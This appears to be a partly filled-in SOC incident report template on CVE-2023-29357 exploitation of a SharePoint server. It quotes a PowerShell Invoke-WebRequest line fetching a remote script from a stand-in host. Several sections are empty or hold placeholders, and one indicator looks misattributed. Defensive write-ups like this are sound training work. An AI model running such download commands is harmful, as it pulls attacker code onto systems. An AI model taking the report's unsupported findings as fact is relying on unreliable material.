SOC227 — Microsoft SharePoint Server Elevation of Privilege

Analyst Write-Up · CVE-2023-29357 Investigation

SOC227 — Microsoft SharePoint EoP

CVE-2023-29357 · DFIR / Incident Response Report

1) Executive Summary

On Oct 6, 2023, a suspicious Microsoft SharePoint Server Elevation of Privilege (CVE-2023-29357) was detected on host MS-SharePointServer.
Investigation confirmed the activity was malicious; containment actions prevented further impact.
No lateral movement was observed.

2) Incident Details

3) Timeline of Events (CST)

4) Technical Analysis

Process Tree

explorer.exe → powershell.exe → Invoke-WebRequest http://example[.]com/file.ps1

File Hashes:

• SHA256: none
• MD5: none

Network Indicators:

• Outbound connection to <39.91.166.22:443>
• Domain: <apnic.net>

Host Artifacts:

• Persistence: <none>
• Notable events: not enough information given
• Screenshots / excerpts linked in Appendices

MITRE ATT&CK:

• T1190 – Exploit Public-Facing Application
• T1068 – Exploitation for Privilege Escalation

5) Containment & Eradication (Checked = Completed)

• Isolated affected host
• Elevated to Tier 2
• Quarantined payload / deleted artifacts
• Revoked creds / invalidated tokens
• Blocked IPs/domains/signatures across controls
• Removed persistence mechanisms
• Closed attacker sessions

6) Recovery & Verification

• Restored network access after validation
• Full AV/EDR scan clean
• Patched vulnerable components
• Monitored for reoccurrence for X hours/days

7) Root Cause

The attacker exploited an unpatched instance of Microsoft SharePoint via CVE-2023-29357, enabling elevation of privilege and execution of unauthorized PowerShell commands via the web service context.
This vulnerability allowed the attacker to forge authentication tokens and escalate privileges without valid credentials.

8) Recommendations

• Patch SharePoint Server to remediate CVE-2023-29357
• Review SharePoint service accounts and remove any unauthorized additions
• Enable auditing on SharePoint API calls & authentication mechanisms
• Tune SIEM/EDR detection for unusual PowerShell & token-related events
• Enforce MFA for SharePoint administrative functions
• Validate no persistence (scheduled tasks, web shells, ASHX backdoors)

9) Indicators of Compromise (IOCs)

10) Appendices (Evidence)

• Screenshots of alert console
• Sysmon/Windows Event excerpts
• PowerShell transcripts
• VirusTotal / sandbox results
• Packet captures (if applicable)